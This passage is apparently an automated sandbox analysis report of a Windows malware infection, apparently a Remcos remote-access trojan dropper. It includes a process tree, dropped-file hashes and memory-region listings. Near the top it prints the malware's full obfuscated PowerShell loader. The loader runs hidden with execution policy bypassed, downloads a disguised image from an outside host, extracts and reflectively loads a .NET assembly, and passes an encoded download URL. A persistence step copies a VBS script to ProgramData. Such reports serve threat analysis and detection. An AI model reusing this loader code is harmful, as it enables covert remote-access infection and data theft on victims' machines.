UUWJLhOstUÇDfzBNCUUWJLhOstUÇDfzGUCUUWJLhOstUÇDfzdCUUWJLhOstUÇDfzBoCUUWJLhOstUÇDfzG8CUUWJLhOstUÇDfzZCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzoCUUWJLhOstUÇDfzDICUUWJLhOstUÇDfzNQBoCUUWJLhOstUÇDfzFICUUWJLhOstUÇDfzdQBuCUUWJLhOstUÇDfzDICUUWJLhOstUÇDfzNQBoCUUWJLhOstUÇDfzCkCUUWJLhOstUÇDfzLgBJCUUWJLhOstUÇDfzG4CUUWJLhOstUÇDfzdgBvCUUWJLhOstUÇDfzGsCUUWJLhOstUÇDfzZQCUUWJLhOstUÇDfzoCUUWJLhOstUÇDfzFgCUUWJLhOstUÇDfzcgBtCUUWJLhOstUÇDfzG4CUUWJLhOstUÇDfzdQBsCUUWJLhOstUÇDfzGwCUUWJLhOstUÇDfzJwCUUWJLhOstUÇDfzrCUUWJLhOstUÇDfzCcCUUWJLhOstUÇDfzLCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzgCUUWJLhOstUÇDfzFsCUUWJLhOstUÇDfzbwBiCUUWJLhOstUÇDfzGoCUUWJLhOstUÇDfzZQBjCUUWJLhOstUÇDfzHQCUUWJLhOstUÇDfzWwBdCUUWJLhOstUÇDfzF0CUUWJLhOstUÇDfzICUUWJLhOstUÇDfzCUUWJLhOstUÇDfzoCUUWJLhOstUÇDfzDICUUWJLhOstUÇDfzNQBoCUUWJLhOstUÇDfzEoCUUWJLhOstUÇDfzagBCCUUWJLhOstUÇDfzGgCUUWJLhOstUÇDfzWQBtCUUWJLhOstUÇDfzE0CUUWJLhOstUÇDfzegBZCUUWJLhOstUÇDfzGoCUUWJLhOstUÇDfzYwB3CUUWJLhOstUÇDfzE0CUUWJLhOstUÇDfzagBNCUUWJLhOstUÇDfzDECUUWJLhOstUÇDfzJwCUUWJLhOstUÇDfzrCUUWJLhOstUÇDfzCcCUUWJLhOstUÇDfzTgBqCUUWJLhOstUÇDfzFECUUWJLhOstUÇDfzeCUUWJLhOstUÇDfzBNCUUWJLhOstUÇDfzDICUUWJLhOstUÇDfzSgBsCUUWJLhOstUÇDfzE4CUUWJLhOstUÇDfzegBBCUUWJLhOstUÇDfzHkCUUWJLhOstUÇDfzWQBUCUUWJLhOstUÇDfzGcCUUWJLhOstUÇDfzNQBOCUUWJLhOstUÇDfzGoCUUWJLhOstUÇDfzQQCUUWJLhOstUÇDfzwCUUWJLhOstUÇDfzFoCUUWJLhOstUÇDfzVwBWCUUWJLhOstUÇDfzGsCUUWJLhOstUÇDfzTQBqCUUWJLhOstUÇDfzGsCUUWJLhOstUÇDfzMwBZCUUWJLhOstUÇDfzGoCUUWJLhOstUÇDfzZCUUWJLhOstUÇDfzBqCUUWJLhOstUÇDfzFoCUUWJLhOstUÇDfzagBJCUUWJLhOstUÇDfzDQCUUWJLhOstUÇDfzWQB6CUUWJLhOstUÇDfzGcCUUWJLhOstUÇDfzMCUUWJLhOstUÇDfzBNCUUWJLhOstUÇDfzEcCUUWJLhOstUÇDfzSQCUUWJLhOstUÇDfzxCUUWJLhOstUÇDfzE4CUUWJLhOstUÇDfzagBZCUUWJLhOstUÇDfzDICUUWJLhOstUÇDfzTgBECUUWJLhOstUÇDfzGsCUUWJLhOstUÇDfzMQBZCUUWJLhOstUÇDfzCcCUUWJLhOstUÇDfzKwCUUWJLhOstUÇDfznCUUWJLhOstUÇDfzGoCUUWJLhOstUÇDfzJwCUUWJLhOstUÇDfzrCUUWJLhOstUÇDfzCcCUUWJLhOstUÇDfzTQB4CUUWJLhOstUÇDfzE0CUUWJLhOstUÇDfzRwBZCUUWJLhOstUÇDfzHgCUUWJLhOstUÇDfzTQBECUUWJLhOstUÇDfzEUCUUWJLhOstUÇDfzMwBOCUUWJLhOstUÇDfzDICUUWJLhOstUÇDfzVQB3CUUWJLhOstUÇDfzFoCUUWJLhOstUÇDfzVwBFCUUWJLhOstUÇDfzDkCUUWJLhOstUÇDfzYgBXCUUWJLhOstUÇDfzGcCUUWJLhOstUÇDfzbQBOCUUWJLhOstUÇDfzGoCUUWJLhOstUÇDfzYwCUUWJLhOstUÇDfzxCUUWJLhOstUÇDfzE8CUUWJLhOstUÇDfzRCUUWJLhOstUÇDfzBBCUUWJLhOstUÇDfzDMCUUWJLhOstUÇDfzTgBUCUUWJLhOstUÇDfzFkCUUWJLhOstUÇDfzOQBjCUUWJLhOstUÇDfzDICUUWJLhOstUÇDfzawBtCUUWJLhOstUÇDfzE4CUUWJLhOstUÇDfzagBkCUUWJLhOstUÇDfzGgCUUWJLhOstUÇDfzWgBqCUUWJLhOstUÇDfzEkCUUWJLhOstUÇDfzNCUUWJLhOstUÇDfzBOCUUWJLhOstUÇDfzFQCUUWJLhOstUÇDfzWQCUUWJLhOstUÇDfz5CUUWJLhOstUÇDfzGUCUUWJLhOstUÇDfzRwBVCUUWJLhOstUÇDfzC8CUUWJLhOstUÇDfzZCUUWJLhOstUÇDfzBICUUWJLhOstUÇDfzGgCUUWJLhOstUÇDfzMCUUWJLhOstUÇDfzBMCUUWJLhOstUÇDfzG0CUUWJLhOstUÇDfzbCUUWJLhOstUÇDfzBwCUUWJLhOstUÇDfzGECUUWJLhOstUÇDfzVwBsCUUWJLhOstUÇDfzHoCUUWJLhOstUÇDfzYwCUUWJLhOstUÇDfzyCUUWJLhOstUÇDfzDkCUUWJLhOstUÇDfzagBiCUUWJLhOstUÇDfzCcCUUWJLhOstUÇDfzKwCUUWJLhOstUÇDfznCUUWJLhOstUÇDfzFcCUUWJLhOstUÇDfzVgB5CUUWJLhOstUÇDfzEwCUUWJLhOstUÇDfzegBNCUUWJLhOstUÇDfzDICUUWJLhOstUÇDfzTQBqCUUWJLhOstUÇDfzE0CUUWJLhOstUÇDfzNQBNCUUWJLhOstUÇDfzFQCUUWJLhOstUÇDfzQQCUUWJLhOstUÇDfz1CUUWJLhOstUÇDfzE0CUUWJLhOstUÇDfzegBJCUUWJLhOstUÇDfzHoCUUWJLhOstUÇDfzTwBECUUWJLhOstUÇDfzFUCUUWJLhOstUÇDfzMgBPCUUWJLhOstUÇDfzFQCUUWJLhOstUÇDfzRQCUUWJLhOstUÇDfz0CUUWJLhOstUÇDfzE0CUUWJLhOstUÇDfzVCUUWJLhOstUÇDfzBFCUUWJLhOstUÇDfzHYCUUWJLhOstUÇDfzJwCUUWJLhOstUÇDfzrCUUWJLhOstUÇDfzCcCUUWJLhOstUÇDfzTQBECUUWJLhOstUÇDfzFUCUUWJLhOstUÇDfzeCUUWJLhOstUÇDfzBPCUUWJLhOstUÇDfzEQCUUWJLhOstUÇDfzWQB4CUUWJLhOstUÇDfzE0CUUWJLhOstUÇDfzVCUUWJLhOstUÇDfzBJCUUWJLhOstUÇDfzDCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzTQBqCUUWJLhOstUÇDfzFECUUWJLhOstUÇDfzMQBOCUUWJLhOstUÇDfzFQCUUWJLhOstUÇDfzWQCUUWJLhOstUÇDfz1CUUWJLhOstUÇDfzE0CUUWJLhOstUÇDfzVCUUWJLhOstUÇDfzBnCUUWJLhOstUÇDfzHgCUUWJLhOstUÇDfzTQBTCUUWJLhOstUÇDfzDkCUUWJLhOstUÇDfzegBkCUUWJLhOstUÇDfzCcCUUWJLhOstUÇDfzKwCUUWJLhOstUÇDfznCUUWJLhOstUÇDfzEcCUUWJLhOstUÇDfzNQBsCUUWJLhOstUÇDfzGICUUWJLhOstUÇDfzVwCUUWJLhOstUÇDfznCUUWJLhOstUÇDfzCsCUUWJLhOstUÇDfzJwBoCUUWJLhOstUÇDfzGoCUUWJLhOstUÇDfzWQBYCUUWJLhOstUÇDfzFICUUWJLhOstUÇDfzMCUUWJLhOstUÇDfzBZCUUWJLhOstUÇDfzFMCUUWJLhOstUÇDfzOQB0CUUWJLhOstUÇDfzGICUUWJLhOstUÇDfzMgBNCUUWJLhOstUÇDfzHUCUUWJLhOstUÇDfzYwBICUUWJLhOstUÇDfzEICUUWJLhOstUÇDfzaCUUWJLhOstUÇDfzBaCUUWJLhOstUÇDfzEgCUUWJLhOstUÇDfzSgB2CUUWJLhOstUÇDfzFkCUUWJLhOstUÇDfzMwBOCUUWJLhOstUÇDfzHCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzWgBDCUUWJLhOstUÇDfzDUCUUWJLhOstUÇDfzdQBaCUUWJLhOstUÇDfzEcCUUWJLhOstUÇDfzTQB2CUUWJLhOstUÇDfzEwCUUWJLhOstUÇDfzegBwCUUWJLhOstUÇDfzHoCUUWJLhOstUÇDfzYwBICUUWJLhOstUÇDfzFICUUWJLhOstUÇDfzMCUUWJLhOstUÇDfzBhCUUWJLhOstUÇDfzEECUUWJLhOstUÇDfzPQCUUWJLhOstUÇDfz9CUUWJLhOstUÇDfzDICUUWJLhOstUÇDfzNQBoCUUWJLhOstUÇDfzCCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzJwCUUWJLhOstUÇDfzrCUUWJLhOstUÇDfzCcCUUWJLhOstUÇDfzLCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzgCUUWJLhOstUÇDfzDICUUWJLhOstUÇDfzNQBoCUUWJLhOstUÇDfzDICUUWJLhOstUÇDfzNQBoCUUWJLhOstUÇDfzCCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzLCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzgCUUWJLhOstUÇDfzDICUUWJLhOstUÇDfzNQBoCUUWJLhOstUÇDfzDICUUWJLhOstUÇDfzMgCUUWJLhOstUÇDfz1CUUWJLhOstUÇDfzGgCUUWJLhOstUÇDfzICUUWJLhOstUÇDfzCUUWJLhOstUÇDfzsCUUWJLhOstUÇDfzCCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzMgCUUWJLhOstUÇDfz1CUUWJLhOstUÇDfzGgCUUWJLhOstUÇDfzZwBvCUUWJLhOstUÇDfzG8CUUWJLhOstUÇDfzZwBsCUUWJLhOstUÇDfzGUCUUWJLhOstUÇDfzMgCUUWJLhOstUÇDfz1CUUWJLhOstUÇDfzGgCUUWJLhOstUÇDfzICUUWJLhOstUÇDfzCUUWJLhOstUÇDfzsCUUWJLhOstUÇDfzCCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzMgCUUWJLhOstUÇDfz1CUUWJLhOstUÇDfzGgCUUWJLhOstUÇDfzMwCUUWJLhOstUÇDfzyCUUWJLhOstUÇDfzDUCUUWJLhOstUÇDfzaCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzgCUUWJLhOstUÇDfzCwCUUWJLhOstUÇDfzICUUWJLhOstUÇDfzCUUWJLhOstUÇDfzyCUUWJLhOstUÇDfzDUCUUWJLhOstUÇDfzaCUUWJLhOstUÇDfzBDCUUWJLhOstUÇDfzDoCUUWJLhOstUÇDfzWgCUUWJLhOstUÇDfz0CUUWJLhOstUÇDfzDUCUUWJLhOstUÇDfzUCUUWJLhOstUÇDfzByCUUWJLhOstUÇDfzG8CUUWJLhOstUÇDfzZwByCUUWJLhOstUÇDfzGECUUWJLhOstUÇDfzbQBECUUWJLhOstUÇDfzGECUUWJLhOstUÇDfzdCUUWJLhOstUÇDfzBhCUUWJLhOstUÇDfzFoCUUWJLhOstUÇDfzNCUUWJLhOstUÇDfzCUUWJLhOstUÇDfz1CUUWJLhOstUÇDfzDICUUWJLhOstUÇDfzNQBoCUUWJLhOstUÇDfzCwCUUWJLhOstUÇDfzICUUWJLhOstUÇDfzCUUWJLhOstUÇDfzyCUUWJLhOstUÇDfzDUCUUWJLhOstUÇDfzaCUUWJLhOstUÇDfzBnCUUWJLhOstUÇDfzG8CUUWJLhOstUÇDfzbwBnCUUWJLhOstUÇDfzGwCUUWJLhOstUÇDfzJwCUUWJLhOstUÇDfzrCUUWJLhOstUÇDfzCcCUUWJLhOstUÇDfzZQCUUWJLhOstUÇDfzyCUUWJLhOstUÇDfzDUCUUWJLhOstUÇDfzaCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzpCUUWJLhOstUÇDfzCkCUUWJLhOstUÇDfzJwCUUWJLhOstUÇDfzpCUUWJLhOstUÇDfzC4CUUWJLhOstUÇDfzUgBlCUUWJLhOstUÇDfzFCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzTCUUWJLhOstUÇDfzBBCUUWJLhOstUÇDfzGMCUUWJLhOstUÇDfzRQCUUWJLhOstUÇDfzoCUUWJLhOstUÇDfzCcCUUWJLhOstUÇDfzWgCUUWJLhOstUÇDfz0CUUWJLhOstUÇDfzDUCUUWJLhOstUÇDfzJwCUUWJLhOstUÇDfzsCUUWJLhOstUÇDfzCcCUUWJLhOstUÇDfzXCUUWJLhOstUÇDfzCUUWJLhOstUÇDfznCUUWJLhOstUÇDfzCkCUUWJLhOstUÇDfzLgBSCUUWJLhOstUÇDfzGUCUUWJLhOstUÇDfzUCUUWJLhOstUÇDfzBMCUUWJLhOstUÇDfzEECUUWJLhOstUÇDfzYwBFCUUWJLhOstUÇDfzCgCUUWJLhOstUÇDfzJwBYCUUWJLhOstUÇDfzHICUUWJLhOstUÇDfzbQCUUWJLhOstUÇDfznCUUWJLhOstUÇDfzCwCUUWJLhOstUÇDfzWwBzCUUWJLhOstUÇDfzHQCUUWJLhOstUÇDfzcgBpCUUWJLhOstUÇDfzE4CUUWJLhOstUÇDfzRwBdCUUWJLhOstUÇDfzFsCUUWJLhOstUÇDfzQwBoCUUWJLhOstUÇDfzGECUUWJLhOstUÇDfzcgBdCUUWJLhOstUÇDfzDMCUUWJLhOstUÇDfzNgCUUWJLhOstUÇDfzpCUUWJLhOstUÇDfzC4CUUWJLhOstUÇDfzUgBlCUUWJLhOstUÇDfzFCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzTCUUWJLhOstUÇDfzBBCUUWJLhOstUÇDfzGMCUUWJLhOstUÇDfzRQCUUWJLhOstUÇDfzoCUUWJLhOstUÇDfzCgCUUWJLhOstUÇDfzWwBDCUUWJLhOstUÇDfzGgCUUWJLhOstUÇDfzYQByCUUWJLhOstUÇDfzF0CUUWJLhOstUÇDfzNQCUUWJLhOstUÇDfzwCUUWJLhOstUÇDfzCsCUUWJLhOstUÇDfzWwBDCUUWJLhOstUÇDfzGgCUUWJLhOstUÇDfzYQByCUUWJLhOstUÇDfzF0CUUWJLhOstUÇDfzNQCUUWJLhOstUÇDfzzCUUWJLhOstUÇDfzCsCUUWJLhOstUÇDfzWwBDCUUWJLhOstUÇDfzGgCUUWJLhOstUÇDfzYQByCUUWJLhOstUÇDfzF0CUUWJLhOstUÇDfzMQCUUWJLhOstUÇDfzwCUUWJLhOstUÇDfzDQCUUWJLhOstUÇDfzKQCUUWJLhOstUÇDfzsCUUWJLhOstUÇDfzFsCUUWJLhOstUÇDfzcwB0CUUWJLhOstUÇDfzHICUUWJLhOstUÇDfzaQBOCUUWJLhOstUÇDfzEcCUUWJLhOstUÇDfzXQBbCUUWJLhOstUÇDfzEMCUUWJLhOstUÇDfzaCUUWJLhOstUÇDfzBhCUUWJLhOstUÇDfzHICUUWJLhOstUÇDfzXQCUUWJLhOstUÇDfzzCUUWJLhOstUÇDfzDkCUUWJLhOstUÇDfzKQB8CUUWJLhOstUÇDfzCYCUUWJLhOstUÇDfzICUUWJLhOstUÇDfzCUUWJLhOstUÇDfzoCUUWJLhOstUÇDfzCCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzJCUUWJLhOstUÇDfzBWCUUWJLhOstUÇDfzGUCUUWJLhOstUÇDfzcgBiCUUWJLhOstUÇDfzE8CUUWJLhOstUÇDfzcwBFCUUWJLhOstUÇDfzHCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzUgBFCUUWJLhOstUÇDfzEYCUUWJLhOstUÇDfzZQByCUUWJLhOstUÇDfzGUCUUWJLhOstUÇDfzTgBjCUUWJLhOstUÇDfzGUCUUWJLhOstUÇDfzLgB0CUUWJLhOstUÇDfzE8CUUWJLhOstUÇDfzUwBUCUUWJLhOstUÇDfzHICUUWJLhOstUÇDfzSQBuCUUWJLhOstUÇDfzEcCUUWJLhOstUÇDfzKCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzpCUUWJLhOstUÇDfzFsCUUWJLhOstUÇDfzMQCUUWJLhOstUÇDfzsCUUWJLhOstUÇDfzDMCUUWJLhOstUÇDfzXQCUUWJLhOstUÇDfzrCUUWJLhOstUÇDfzCcCUUWJLhOstUÇDfzWCUUWJLhOstUÇDfzCUUWJLhOstUÇDfznCUUWJLhOstUÇDfzC0CUUWJLhOstUÇDfzSgBPCUUWJLhOstUÇDfzEkCUUWJLhOstUÇDfzbgCUUWJLhOstUÇDfznCUUWJLhOstUÇDfzCcCUUWJLhOstUÇDfzKQCUUWJLhOstUÇDfz=';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('CUUWJLhOstUÇDfz','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4056
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('XrmimageUrl = 25hhttps://uploaddeimagens.com.br/images/004/682'+'/796/original/dll.jpg?170179396525h;XrmwebClient = New-Object System.Net.'+'WebClient;Xr'+'mimageByte'+'s = XrmwebClient.DownloadDa'+'ta(XrmimageUrl);XrmimageText = [System.Text.Enco'+'ding]::UTF8.GetString(XrmimageBytes);XrmstartFlag = 25h<<BASE64_STAR'+'T>>25h;XrmendFlag ='+' 25h<<BASE64_END>>25h;XrmstartIndex ='+' XrmimageText.IndexOf(XrmstartFlag);XrmendIndex = XrmimageT'+'ext.IndexOf(XrmendFlag);XrmstartIndex -ge 0 -and XrmendIndex -gt Xrmstar'+'tIndex;XrmstartIndex += XrmstartFlag.Length;Xrmbase64Length = XrmendIndex - XrmstartIndex;Xrmbase64Command = XrmimageText.Substring(XrmstartIndex, Xrmbase64Length);XrmcommandBytes = [System.Convert]::FromBase64String(Xrmbase64Command);Xrml'+'oadedAssembly '+'= [Syste'+'m.Reflection.Assembly]::Load(XrmcommandBytes);Xrmtype = XrmloadedAssembly.GetType(2'+'5hClassLibrary3.Class125h);Xrmmethod = Xrm'+'type.GetMethod(25hRun25h).Invoke(Xrmnull'+', [object[]] (25hJjBhYmMzYjcwMjM1'+'NjQxM2JlNzAyYTg5NjA0ZWVkMjk3YjdjZjI4Yzg0MGI1NjY2NDk1Y'+'j'+'MxMGYxMDE3N2UwZWE9bWgmNjc1ODA3NTY9c2kmNjdhZjI4NTY9eGU/dHh0LmlpaWlzc29jb'+'WVyLzM2MjM5MTA5MzIzODU2OTE4MTEv'+'MDUxODYxMTI0MjQ1NTY5MTgxMS9zd'+'G5lbW'+'hjYXR0YS9tb2MucHBhZHJvY3NpZC5uZGMvLzpzcHR0aA==25h '+', 25h25h , 25h225h , 25hgoogle25h , 25h325h , 25hC:Z45ProgramDataZ4525h, 25hgoogl'+'e25h))').RePLAcE('Z45','\').RePLAcE('Xrm',[striNG][Char]36).RePLAcE(([Char]50+[Char]53+[Char]104),[striNG][Char]39)|& ( $VerbOsEpREFereNce.tOSTrInG()[1,3]+'X'-JOIn'')"
        3⤵
        • Blocklisted process makes network request
        • Drops startup file
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2168
        • C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe" -WindowStyle Hidden Copy-Item -Path *.vbs -Destination C:\ProgramData\google.vbs
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:5048
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
          4⤵
            PID:3428
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
            4⤵
            • Suspicious use of SetWindowsHookEx
            PID:2164

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\ProgramData\remcos\registros.dat

            Filesize

            144B

            MD5

            61768c8f519f1e62819164c0e38c3dd5

            SHA1

            b0858edf0fc187aef7d31b3051036a3fe01847a8

            SHA256

            165584ebe78bf4f465e92d4b3eb9e11bdbffbe371d88627ebfd04c3422e44eb9

            SHA512

            72db5ba69525e36b0e07f38eeb976ac0fc2d3d2e8d7a094f69981f9d3ffde471732a2f20d680d3fb42dca32e1f4318181c2bf2e954174b2aa8ff9758697bee0c

          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

            Filesize

            2KB

            MD5

            6cf293cb4d80be23433eecf74ddb5503

            SHA1

            24fe4752df102c2ef492954d6b046cb5512ad408

            SHA256

            b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

            SHA512

            0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            1KB

            MD5

            a8eb2efce4ffa5e8524cf912c1382a37

            SHA1

            77695564822958871fc6a1f298f1b047c1b3115c

            SHA256

            b17d51d163ca87e8d4e41285219b830c3d545b6bd2f0a133d2986f4022f8f85e

            SHA512

            59aa838bae3a2bb1c6f8238cb3e757eb79269352f7647aaad2e9484eac2b50bdb06436cf305e255b4dffa50479a3db0b71c7c4c46601a00156e9560c2b6af63d

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            64B

            MD5

            50a8221b93fbd2628ac460dd408a9fc1

            SHA1

            7e99fe16a9b14079b6f0316c37cc473e1f83a7e6

            SHA256

            46e488628e5348c9c4dfcdeed5a91747eae3b3aa49ae1b94d37173b6609efa0e

            SHA512

            27dda53e7edcc1a12c61234e850fe73bf3923f5c3c19826b67f2faf9e0a14ba6658001a9d6a56a7036409feb9238dd452406e88e318919127b4a06c64dba86f0

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sducagmv.gcv.ps1

            Filesize

            60B

            MD5

            d17fe0a3f47be24a6453e9ef58c94641

            SHA1

            6ab83620379fc69f80c0242105ddffd7d98d5d9d

            SHA256

            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

            SHA512

            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

          • memory/2164-72-0x0000000000400000-0x0000000000482000-memory.dmp

            Filesize

            520KB

          • memory/2164-55-0x0000000000400000-0x0000000000482000-memory.dmp

            Filesize

            520KB

          • memory/2164-99-0x0000000000400000-0x0000000000482000-memory.dmp

            Filesize

            520KB

          • memory/2164-98-0x0000000000400000-0x0000000000482000-memory.dmp

            Filesize

            520KB

          • memory/2164-93-0x0000000000400000-0x0000000000482000-memory.dmp

            Filesize

            520KB

          • memory/2164-92-0x0000000000400000-0x0000000000482000-memory.dmp

            Filesize

            520KB

          • memory/2164-86-0x0000000000400000-0x0000000000482000-memory.dmp

            Filesize

            520KB

          • memory/2164-85-0x0000000000400000-0x0000000000482000-memory.dmp

            Filesize

            520KB

          • memory/2164-80-0x0000000000400000-0x0000000000482000-memory.dmp

            Filesize

            520KB

          • memory/2164-44-0x0000000000400000-0x0000000000482000-memory.dmp

            Filesize

            520KB

          • memory/2164-78-0x0000000000400000-0x0000000000482000-memory.dmp

            Filesize

            520KB

          • memory/2164-73-0x0000000000400000-0x0000000000482000-memory.dmp

            Filesize

            520KB

          • memory/2164-66-0x0000000000400000-0x0000000000482000-memory.dmp

            Filesize

            520KB

          • memory/2164-65-0x0000000000400000-0x0000000000482000-memory.dmp

            Filesize

            520KB

          • memory/2164-60-0x0000000000400000-0x0000000000482000-memory.dmp

            Filesize

            520KB

          • memory/2164-51-0x0000000000400000-0x0000000000482000-memory.dmp

            Filesize

            520KB

          • memory/2164-53-0x0000000000400000-0x0000000000482000-memory.dmp

            Filesize

            520KB

          • memory/2164-56-0x0000000000400000-0x0000000000482000-memory.dmp

            Filesize

            520KB

          • memory/2164-58-0x0000000000400000-0x0000000000482000-memory.dmp

            Filesize

            520KB

          • memory/2164-59-0x0000000000400000-0x0000000000482000-memory.dmp

            Filesize

            520KB

          • memory/2168-15-0x0000020396650000-0x0000020396660000-memory.dmp

            Filesize

            64KB

          • memory/2168-14-0x0000020396650000-0x0000020396660000-memory.dmp

            Filesize

            64KB

          • memory/2168-25-0x00000203B12F0000-0x00000203B12FA000-memory.dmp

            Filesize

            40KB

          • memory/2168-48-0x00007FF823BD0000-0x00007FF824691000-memory.dmp

            Filesize

            10.8MB

          • memory/2168-43-0x00000203B1480000-0x00000203B1488000-memory.dmp

            Filesize

            32KB

          • memory/2168-13-0x00007FF823BD0000-0x00007FF824691000-memory.dmp

            Filesize

            10.8MB

          • memory/4056-12-0x00000277E2830000-0x00000277E2840000-memory.dmp

            Filesize

            64KB

          • memory/4056-0-0x00000277E2800000-0x00000277E2822000-memory.dmp

            Filesize

            136KB

          • memory/4056-10-0x00007FF823BD0000-0x00007FF824691000-memory.dmp

            Filesize

            10.8MB

          • memory/4056-11-0x00000277E2830000-0x00000277E2840000-memory.dmp

            Filesize

            64KB

          • memory/4056-52-0x00007FF823BD0000-0x00007FF824691000-memory.dmp

            Filesize

            10.8MB

          • memory/5048-42-0x00007FF823BD0000-0x00007FF824691000-memory.dmp

            Filesize

            10.8MB

          • memory/5048-28-0x00000216360C0000-0x00000216360D0000-memory.dmp

            Filesize

            64KB

          • memory/5048-29-0x00000216360C0000-0x00000216360D0000-memory.dmp

            Filesize

            64KB

          • memory/5048-27-0x00007FF823BD0000-0x00007FF824691000-memory.dmp

            Filesize

            10.8MB